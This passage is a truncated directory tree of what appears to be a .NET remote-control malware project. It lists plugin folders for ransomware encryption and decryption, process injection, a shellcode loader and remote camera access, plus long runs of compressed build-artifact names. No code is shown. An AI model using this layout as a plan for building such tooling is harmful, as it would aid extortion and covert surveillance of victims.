│ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ ├── F9A276F9E964E77DBB18509EA3FE0D38BCB38AFF.costura.packetlib.dll.compressed │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── PowerManager.csproj.AssemblyReference.cache │ │ │ ├── PowerManager.csproj.CoreCompileInputs.cache │ │ │ ├── PowerManager.csproj.FileListAbsolute.txt │ │ │ ├── PowerManager.csproj.Fody.CopyLocal.cache │ │ │ └── build.force │ │ └── Release/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── Costura/ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── PowerManager.csproj.AssemblyReference.cache │ │ ├── PowerManager.csproj.CoreCompileInputs.cache │ │ ├── PowerManager.csproj.FileListAbsolute.txt │ │ ├── PowerManager.csproj.Fody.CopyLocal.cache │ │ └── _IsIncrementalBuild │ ├── ProcessManager/ │ │ ├── ClientHandler.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── GetProcesses.cs │ │ ├── Imports.cs │ │ ├── KillProcess.cs │ │ ├── Launch.cs │ │ ├── ProcessInjection.cs │ │ ├── ProcessManager.csproj │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── ResumeProcess.cs │ │ ├── SuspendProcess.cs │ │ ├── obj/ │ │ │ ├── Debug/ │ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ │ ├── Costura/ │ │ │ │ │ ├── 093B1CECD25C84D83FA542739A470E5176C0ECC3.costura.packetlib.dll.compressed │ │ │ │ │ ├── 0ACFB18416374D87D9A8F41AA16904779FAFC98B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 14D89B776BC1B6F35BC9E1471948B3BA6FA40B5F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 15B6D921A0888166B66779D854ED2F429F5E0DB8.costura.packetlib.dll.compressed │ │ │ │ │ ├── 169D9715E5055B4695017FABC70BDC67BA96C3EB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 1B6A595A5483B79FE77D5C94EA6629C8D6F9BC3F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 1D27C8364B81D446EB8E88B116B7A0C09D01681C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2303F5C6C93C9247613149D8B6D0AD05EEAE6C51.costura.packetlib.dll.compressed │ │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2E8DE5838A28E8C6013A58EB269CAAA34B93DD7B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2F18FE4B8E2017B52E5CA85A7BDD0BD4E6B54171.costura.packetlib.dll.compressed │ │ │ │ │ ├── 33867E33601BC7E54BB7B0E809B1B6CA6F92A296.costura.packetlib.dll.compressed │ │ │ │ │ ├── 35DA33868357D20B7950F93585CCE057BEBFED71.costura.packetlib.dll.compressed │ │ │ │ │ ├── 3A4F23ECD8108E3CF9207F6442B3210C43517D83.costura.packetlib.dll.compressed │ │ │ │ │ ├── 416C3345FE25EC2ED1C5DDEF18057A83D72BD3CD.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4BE517A006839CFA1DEC9930EAA5B319D92819D3.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5252EBA4B6398A776C1EA9828EDB579170ACB663.costura.packetlib.dll.compressed │ │ │ │ │ ├── 58B7790B7A9E3AE1AADCF722F6A715F81C058BFD.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ │ ├── 59DF63E02F616DC1B2A325E7715A2F4CEFE9A170.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5FD46A212CD462EE7577AD3B8A7AB9F481D0CE7E.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ │ ├── 63EF65944CB0DF6531CECC82F495A6E13F910A7A.costura.packetlib.dll.compressed │ │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── 67E0CC3CB01C0C868ECD3CCB7699F6AB461CB1CF.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6AF049DECCD6D8E290917D8E36B8738EE5D88554.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6CE4FB41D327CB76FA40B68828CE5A6459CF9248.costura.packetlib.dll.compressed │ │ │ │ │ ├── 72DCABA51E82CF694893ECFA26A73DAF0068BD5C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 73BFBED37D0D2C234376DC312786EB72E6D2673D.costura.packetlib.dll.compressed │ │ │ │ │ ├── 7EBD6DF9C00B35FB7A99F38EE7E2BCC73CED833D.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8387A8F76010F0A3E3823261A8EF2B3B47D3DCA4.costura.packetlib.dll.compressed │ │ │ │ │ ├── 894362D086B3A52F3B4495D8A886E18058867328.costura.packetlib.dll.compressed │ │ │ │ │ ├── 89CA7B756CF6BCD416A9DE6FE172B44C30F5FA83.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ │ ├── A075387C52A0ACA3687B27A9C83EC31B299A23F0.costura.packetlib.dll.compressed │ │ │ │ │ ├── A5E325D30DF28A8EB3305AFBD760DB72AA6B2A19.costura.packetlib.dll.compressed │ │ │ │ │ ├── A8161DF85C64179973A14391011607232CF35A08.costura.packetlib.dll.compressed │ │ │ │ │ ├── A979F8E1ED39DF411F0A84AB3A9569C098A26104.costura.packetlib.dll.compressed │ │ │ │ │ ├── AE425AFFD1FD4DB21A47795FFE10C26A949EF6C5.costura.packetlib.dll.compressed │ │ │ │ │ ├── B0540B841377E21AAE8E8FBE2A7EE1FE29658670.costura.shellcodeloader.dll.compressed │ │ │ │ │ ├── B3844B220EB90DAA22FF9E69DCBCEC0B514B625C.costura.packetlib.dll.compressed │ │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ │ ├── C6CF66B9D69806693131C83107A1CBE592FCCABF.costura.packetlib.dll.compressed │ │ │ │ │ ├── C7E730CA59E83FFE5879963E3885F946223C16DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ │ ├── D70FCF77F5B2ABAC385D3CC8F4271D685FE093FC.costura.packetlib.dll.compressed │ │ │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ │ │ ├── DCF03F184CFC24621503199BA48A3C5F93D1048B.costura.packetlib.dll.compressed │ │ │ │ │ ├── DF2EF5F848FC106B8C6A5641B29D1771A3B6BCCB.costura.packetlib.dll.compressed │ │ │ │ │ ├── E23690713F21D4E3D0EDAE8A9D30B6D81A24B427.costura.packetlib.dll.compressed │ │ │ │ │ ├── E8108A0FEBB8E80CDE1C8DC3906561FEB070B0D0.costura.packetlib.dll.compressed │ │ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ │ ├── F5620B67C66223652A38725BC49476F1CFA3ED53.costura.packetlib.dll.compressed │ │ │ │ │ ├── F8EC64B2D9B366E1918BA7CDDA67169F986C8B12.costura.packetlib.dll.compressed │ │ │ │ │ ├── F9A276F9E964E77DBB18509EA3FE0D38BCB38AFF.costura.packetlib.dll.compressed │ │ │ │ │ ├── FAA207544D6166658F1ED74A439DDF6A2E2F477D.costura.packetlib.dll.compressed │ │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── ProcessManager.csproj.AssemblyReference.cache │ │ │ │ ├── ProcessManager.csproj.CoreCompileInputs.cache │ │ │ │ ├── ProcessManager.csproj.FileListAbsolute.txt │ │ │ │ ├── ProcessManager.csproj.Fody.CopyLocal.cache │ │ │ │ └── build.force │ │ │ └── Release/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed │ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ │ ├── 1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed │ │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ │ ├── 2FF61148FC624FE5DE63038C5E85B1F4B6FF5DFF.costura.packetlib.dll.compressed │ │ │ │ ├── 30AEEA99FB63C3DA64D44867D00462BD0A84C636.costura.packetlib.dll.compressed │ │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ │ ├── 3BC8A0310BD68277CE47256D31ED984446F56911.costura.packetlib.dll.compressed │ │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ │ ├── 49956E8744B614CB41B95F1F26C662FB1D50DDAB.costura.packetlib.dll.compressed │ │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ │ ├── 4E06B2CEA2B95369900E34214D68CA66E3F4DB4C.costura.packetlib.dll.compressed │ │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ │ ├── 65200B04A09E42EDD475B82FF0196295790E2535.costura.packetlib.dll.compressed │ │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ │ ├── 68A53BB2C3DE0A6CB7A05D932CF03BD6D268C59B.costura.packetlib.dll.compressed │ │ │ │ ├── 6CACFD214D3716303037CF6C1D2FF759426564BB.costura.packetlib.dll.compressed │ │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ │ ├── 7160D2BAF3AFCB4E0CF73AC783EB7C2CB243A338.costura.packetlib.dll.compressed │ │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ │ ├── 7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed │ │ │ │ ├── 7D42CDFC44758C5D8721E71785221053C8796D44.costura.packetlib.pdb.compressed │ │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ │ ├── 84852CC1728B2DDBE3C868B0BD35438579CF4825.costura.packetlib.dll.compressed │ │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ │ ├── 94C3222A9FCDF2AD693DF38EFC986EFF5C48DEA6.costura.packetlib.dll.compressed │ │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ │ ├── 993A4CE56D86DF9E2DFA8C474D6DF2D01F4C19F0.costura.packetlib.dll.compressed │ │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ │ ├── B0540B841377E21AAE8E8FBE2A7EE1FE29658670.costura.shellcodeloader.dll.compressed │ │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ │ ├── B7BBAD2981AD2C189A335B39B5715C0F34626A58.costura.packetlib.dll.compressed │ │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ │ ├── BCCEE1AC6832C9F4B6B442C2E6A79AF0B45AF160.costura.packetlib.dll.compressed │ │ │ │ ├── BE95393C5D1B9F4F5C66BBC229DFCCFB4B40C559.costura.packetlib.dll.compressed │ │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ │ ├── C5D90F561F0F519C23B3EF77D9F468F66C873656.costura.packetlib.dll.compressed │ │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ │ ├── CE74F5AC102367010A1473955AF0C518BB5E68DD.costura.packetlib.dll.compressed │ │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ │ ├── DD58083AFA57CB85A786C3AEA6F34F109A2670E8.costura.packetlib.dll.compressed │ │ │ │ ├── E1337E3314270D285BB8AC03573F255AB4711762.costura.packetlib.dll.compressed │ │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── ProcessManager.csproj.AssemblyReference.cache │ │ │ ├── ProcessManager.csproj.CoreCompileInputs.cache │ │ │ ├── ProcessManager.csproj.FileListAbsolute.txt │ │ │ ├── ProcessManager.csproj.Fody.CopyLocal.cache │ │ │ └── _IsIncrementalBuild │ │ └── packages.config │ ├── Ransomware/ │ │ ├── ClientHandler.cs │ │ ├── Encryption/ │ │ │ ├── Encrypted.cs │ │ │ ├── RSA.cs │ │ │ └── RSM.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── FormTemplate.cs │ │ ├── FormTemplate.resx │ │ ├── Imports.cs │ │ ├── Launch.cs │ │ ├── Operation/ │ │ │ ├── ActionDecryption.cs │ │ │ ├── ActionEncryption.cs │ │ │ └── KeyGenerator.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── Ransomware.csproj │ │ ├── obj/ │ │ │ └── Release/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── .NETFramework,Version=v4.8.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 079ECEC48CB4980655E9BD3EE30719D01549E2E4.costura.bouncycastle.crypto.dll.compressed │ │ │ │ ├── 0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed │ │ │ │ ├── 1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed │ │ │ │ ├── 2FF61148FC624FE5DE63038C5E85B1F4B6FF5DFF.costura.packetlib.dll.compressed │ │ │ │ ├── 30AEEA99FB63C3DA64D44867D00462BD0A84C636.costura.packetlib.dll.compressed │ │ │ │ ├── 3BC8A0310BD68277CE47256D31ED984446F56911.costura.packetlib.dll.compressed │ │ │ │ ├── 49956E8744B614CB41B95F1F26C662FB1D50DDAB.costura.packetlib.dll.compressed │ │ │ │ ├── 4E06B2CEA2B95369900E34214D68CA66E3F4DB4C.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 65200B04A09E42EDD475B82FF0196295790E2535.costura.packetlib.dll.compressed │ │ │ │ ├── 6559765C5D974A2FAC6597D13EA3489BC4871BD4.costura.packetlib.dll.compressed │ │ │ │ ├── 68A53BB2C3DE0A6CB7A05D932CF03BD6D268C59B.costura.packetlib.dll.compressed │ │ │ │ ├── 6CACFD214D3716303037CF6C1D2FF759426564BB.costura.packetlib.dll.compressed │ │ │ │ ├── 7160D2BAF3AFCB4E0CF73AC783EB7C2CB243A338.costura.packetlib.dll.compressed │ │ │ │ ├── 7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed │ │ │ │ ├── 7D0AD03FBDA1C24F883116B940717E596073AE96.costura.newtonsoft.json.dll.compressed │ │ │ │ ├── 993A4CE56D86DF9E2DFA8C474D6DF2D01F4C19F0.costura.packetlib.dll.compressed │ │ │ │ ├── B7BBAD2981AD2C189A335B39B5715C0F34626A58.costura.packetlib.dll.compressed │ │ │ │ ├── BE95393C5D1B9F4F5C66BBC229DFCCFB4B40C559.costura.packetlib.dll.compressed │ │ │ │ ├── C5D90F561F0F519C23B3EF77D9F468F66C873656.costura.packetlib.dll.compressed │ │ │ │ ├── DD58083AFA57CB85A786C3AEA6F34F109A2670E8.costura.packetlib.dll.compressed │ │ │ │ ├── E1337E3314270D285BB8AC03573F255AB4711762.costura.packetlib.dll.compressed │ │ │ │ └── E71930C23E2D9F2B5D8CF452A778A7D4FB2C310C.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── Plugin.FormTemplate.resources │ │ │ ├── Ransomware.csproj.AssemblyReference.cache │ │ │ ├── Ransomware.csproj.CoreCompileInputs.cache │ │ │ ├── Ransomware.csproj.FileListAbsolute.txt │ │ │ ├── Ransomware.csproj.Fody.CopyLocal.cache │ │ │ ├── Ransomware.csproj.GenerateResource.cache │ │ │ └── _IsIncrementalBuild │ │ └── packages.config │ ├── RemoteCamera/ │ │ ├── ClientHandler.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── GetCameras.cs │ │ ├── Helpers.cs │ │ ├── Launch.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── RemoteCamera.csproj │ │ ├── obj/ │ │ │ ├── Debug/ │ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ │ ├── Costura/ │ │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ │ ├── 